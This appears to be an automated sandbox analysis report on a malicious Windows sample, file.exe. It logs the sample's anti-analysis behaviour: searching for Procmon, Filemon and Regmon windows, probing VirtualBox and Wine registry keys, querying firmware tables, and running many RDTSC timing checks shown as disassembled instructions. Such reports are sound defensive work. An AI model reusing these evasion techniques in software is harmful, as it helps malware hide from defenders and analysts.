Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01421860 push eax; ret	0_3_01421861
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0142507B push edi; iretd	0_3_0142507F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0142193D pushad ; ret	0_3_01421A95
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0142489E push edi; retf	0_3_014248A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01421860 push eax; ret	0_3_01421861
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0142507B push edi; iretd	0_3_0142507F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0142193D pushad ; ret	0_3_01421A95
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05D4FA29 push 98013F65h; ret	0_3_05D4FA39
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05D4FA29 push 98013F65h; ret	0_3_05D4FA39
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0142489E push edi; retf	0_3_014248A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01421860 push eax; ret	0_3_01421861
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0142507B push edi; iretd	0_3_0142507F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0142193D pushad ; ret	0_3_01421A95
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05D4FA29 push 98013F65h; ret	0_3_05D4FA39
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05D4FA29 push 98013F65h; ret	0_3_05D4FA39
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05D4FA29 push 98013F65h; ret	0_3_05D4FA39
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05D4FA29 push 98013F65h; ret	0_3_05D4FA39

Source: file.exe	Static PE information: section name: entropy: 7.98257205213109
Source: file.exe	Static PE information: section name: hsnjpung entropy: 7.954483778892295

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\file.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2F9B60 second address: 2F9B64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2F9B64 second address: 2F9B8E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FD9A885D721h 0x0000000b popad 0x0000000c push eax 0x0000000d pushad 0x0000000e jc 00007FD9A885D718h 0x00000014 pushad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 jbe 00007FD9A885D716h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 475FDE second address: 476001 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FD9A93E11D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007FD9A93E11E6h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 475779 second address: 47578C instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnc 00007FD9A885D718h 0x0000000c push edx 0x0000000d pop edx 0x0000000e pushad 0x0000000f push edi 0x00000010 pop edi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 475912 second address: 47591C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007FD9A93E11D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47591C second address: 47592D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jg 00007FD9A885D716h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47873E second address: 478742 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 478742 second address: 4787AC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD9A885D723h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c mov ecx, dword ptr [ebp+122D1C42h] 0x00000012 pushad 0x00000013 jmp 00007FD9A885D71Ah 0x00000018 mov eax, dword ptr [ebp+122D1969h] 0x0000001e popad 0x0000001f push 00000000h 0x00000021 or dl, FFFFFFB6h 0x00000024 call 00007FD9A885D719h 0x00000029 push eax 0x0000002a pushad 0x0000002b pushad 0x0000002c popad 0x0000002d push ebx 0x0000002e pop ebx 0x0000002f popad 0x00000030 pop eax 0x00000031 push eax 0x00000032 pushad 0x00000033 js 00007FD9A885D718h 0x00000039 push eax 0x0000003a push edx 0x0000003b jmp 00007FD9A885D726h 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4787AC second address: 4787D6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD9A93E11DFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e push eax 0x0000000f push edx 0x00000010 jno 00007FD9A93E11E0h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4787D6 second address: 4787FD instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a pushad 0x0000000b pushad 0x0000000c js 00007FD9A885D716h 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007FD9A885D720h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4787FD second address: 478801 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 478801 second address: 478812 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 478812 second address: 47881C instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FD9A93E11D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47881C second address: 478821 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 478821 second address: 4788B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FD9A93E11D6h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pop eax 0x0000000e mov esi, dword ptr [ebp+122D2ACFh] 0x00000014 push 00000003h 0x00000016 push 00000000h 0x00000018 push ecx 0x00000019 call 00007FD9A93E11D8h 0x0000001e pop ecx 0x0000001f mov dword ptr [esp+04h], ecx 0x00000023 add dword ptr [esp+04h], 00000017h 0x0000002b inc ecx 0x0000002c push ecx 0x0000002d ret 0x0000002e pop ecx 0x0000002f ret 0x00000030 push 00000000h 0x00000032 and esi, dword ptr [ebp+122D2C53h] 0x00000038 push 00000003h 0x0000003a push 60B504C7h 0x0000003f jmp 00007FD9A93E11DFh 0x00000044 add dword ptr [esp], 5F4AFB39h 0x0000004b mov di, ECC6h 0x0000004f lea ebx, dword ptr [ebp+124525BCh] 0x00000055 push 00000000h 0x00000057 push esi 0x00000058 call 00007FD9A93E11D8h 0x0000005d pop esi 0x0000005e mov dword ptr [esp+04h], esi 0x00000062 add dword ptr [esp+04h], 00000014h 0x0000006a inc esi 0x0000006b push esi 0x0000006c ret 0x0000006d pop esi 0x0000006e ret 0x0000006f xchg eax, ebx 0x00000070 pushad 0x00000071 push eax 0x00000072 push edx 0x00000073 jmp 00007FD9A93E11DBh 0x00000078 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4788B0 second address: 4788C9 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FD9A885D716h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jno 00007FD9A885D718h 0x00000010 popad 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4788C9 second address: 4788D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 478938 second address: 47893C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47893C second address: 478942 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 478942 second address: 478998 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 jmp 00007FD9A885D721h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d nop 0x0000000e push ebx 0x0000000f jmp 00007FD9A885D727h 0x00000014 pop edi 0x00000015 push 00000000h 0x00000017 sub cx, A1E2h 0x0000001c call 00007FD9A885D719h 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007FD9A885D721h 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 478998 second address: 4789B5 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FD9A93E11D8h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FD9A93E11DCh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4789B5 second address: 4789BB instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4789BB second address: 4789D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD9A93E11E7h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4789D6 second address: 4789DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4789DA second address: 478A2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c jmp 00007FD9A93E11E9h 0x00000011 mov eax, dword ptr [eax] 0x00000013 jc 00007FD9A93E11DAh 0x00000019 mov dword ptr [esp+04h], eax 0x0000001d pushad 0x0000001e push edx 0x0000001f jmp 00007FD9A93E11E8h 0x00000024 pop edx 0x00000025 push eax 0x00000026 push edx 0x00000027 pushad 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 478BB2 second address: 478BB6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 478BB6 second address: 478BBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 478BBC second address: 478BC2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 478BC2 second address: 478BEA instructions: 0x00000000 rdtsc 0x00000002 jo 00007FD9A93E11D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FD9A93E11E9h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 478CBE second address: 478CC4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 478CC4 second address: 478CCA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 478CCA second address: 478CCE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 478CCE second address: 478D3D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xor dword ptr [esp], 6C028281h 0x0000000f push 00000000h 0x00000011 push esi 0x00000012 call 00007FD9A93E11D8h 0x00000017 pop esi 0x00000018 mov dword ptr [esp+04h], esi 0x0000001c add dword ptr [esp+04h], 00000015h 0x00000024 inc esi 0x00000025 push esi 0x00000026 ret 0x00000027 pop esi 0x00000028 ret 0x00000029 add edx, dword ptr [ebp+122D2997h] 0x0000002f lea ebx, dword ptr [ebp+124525D0h] 0x00000035 push 00000000h 0x00000037 push ebx 0x00000038 call 00007FD9A93E11D8h 0x0000003d pop ebx 0x0000003e mov dword ptr [esp+04h], ebx 0x00000042 add dword ptr [esp+04h], 00000015h 0x0000004a inc ebx 0x0000004b push ebx 0x0000004c ret 0x0000004d pop ebx 0x0000004e ret 0x0000004f push eax 0x00000050 pushad 0x00000051 jmp 00007FD9A93E11E5h 0x00000056 push ecx 0x00000057 push eax 0x00000058 push edx 0x00000059 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 497FF7 second address: 498001 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007FD9A885D716h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 498166 second address: 498181 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edi 0x00000007 push edx 0x00000008 jmp 00007FD9A93E11E0h 0x0000000d pushad 0x0000000e popad 0x0000000f pop edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 498181 second address: 49819C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FD9A885D724h 0x00000008 push eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49819C second address: 4981A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4981A4 second address: 4981AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4984A9 second address: 4984B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FD9A93E11D6h 0x0000000a push esi 0x0000000b pop esi 0x0000000c popad 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4984B9 second address: 4984C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4984C2 second address: 4984C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4984C8 second address: 4984CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48F9E9 second address: 48F9F7 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FD9A93E11D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48F9F7 second address: 48F9FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48F9FD second address: 48FA01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48FA01 second address: 48FA05 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 498C4F second address: 498C98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD9A93E11E8h 0x00000009 jmp 00007FD9A93E11E0h 0x0000000e jmp 00007FD9A93E11E0h 0x00000013 popad 0x00000014 jg 00007FD9A93E11DCh 0x0000001a jnl 00007FD9A93E11D6h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49925A second address: 499272 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD9A885D722h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 499272 second address: 499290 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FD9A93E11E9h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4996DF second address: 4996FD instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jmp 00007FD9A885D71Eh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edi 0x0000000c pushad 0x0000000d popad 0x0000000e pop edi 0x0000000f push eax 0x00000010 push edx 0x00000011 push edi 0x00000012 pop edi 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4584F9 second address: 458503 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FD9A93E11D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 458503 second address: 45851E instructions: 0x00000000 rdtsc 0x00000002 jns 00007FD9A885D716h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007FD9A885D71Dh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 45851E second address: 45853F instructions: 0x00000000 rdtsc 0x00000002 jng 00007FD9A93E11D6h 0x00000008 jmp 00007FD9A93E11E4h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49F05D second address: 49F063 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49F063 second address: 49F06D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007FD9A93E11D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49F280 second address: 49F29D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD9A885D729h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A47F6 second address: 4A47FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A47FC second address: 4A4800 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A4AD9 second address: 4A4AEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jmp 00007FD9A93E11DCh 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A4AEA second address: 4A4AEF instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A4AEF second address: 4A4AF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A4AF9 second address: 4A4AFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A4AFF second address: 4A4B21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FD9A93E11E1h 0x0000000e jc 00007FD9A93E11E2h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A4B21 second address: 4A4B2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FD9A885D716h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A4B2B second address: 4A4B32 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A4E3C second address: 4A4E41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A4E41 second address: 4A4E47 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A4E47 second address: 4A4E4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A4E4B second address: 4A4E4F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A87D6 second address: 4A87E2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 ja 00007FD9A885D716h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A87E2 second address: 4A880C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007FD9A93E11E4h 0x0000000a pushad 0x0000000b popad 0x0000000c jc 00007FD9A93E11D6h 0x00000012 popad 0x00000013 jl 00007FD9A93E11DCh 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 45BCB8 second address: 45BCD4 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FD9A885D726h 0x00000008 jmp 00007FD9A885D71Ah 0x0000000d ja 00007FD9A885D716h 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 45BCD4 second address: 45BCF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD9A93E11E9h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A8EE5 second address: 4A8EEB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A8EEB second address: 4A8EEF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
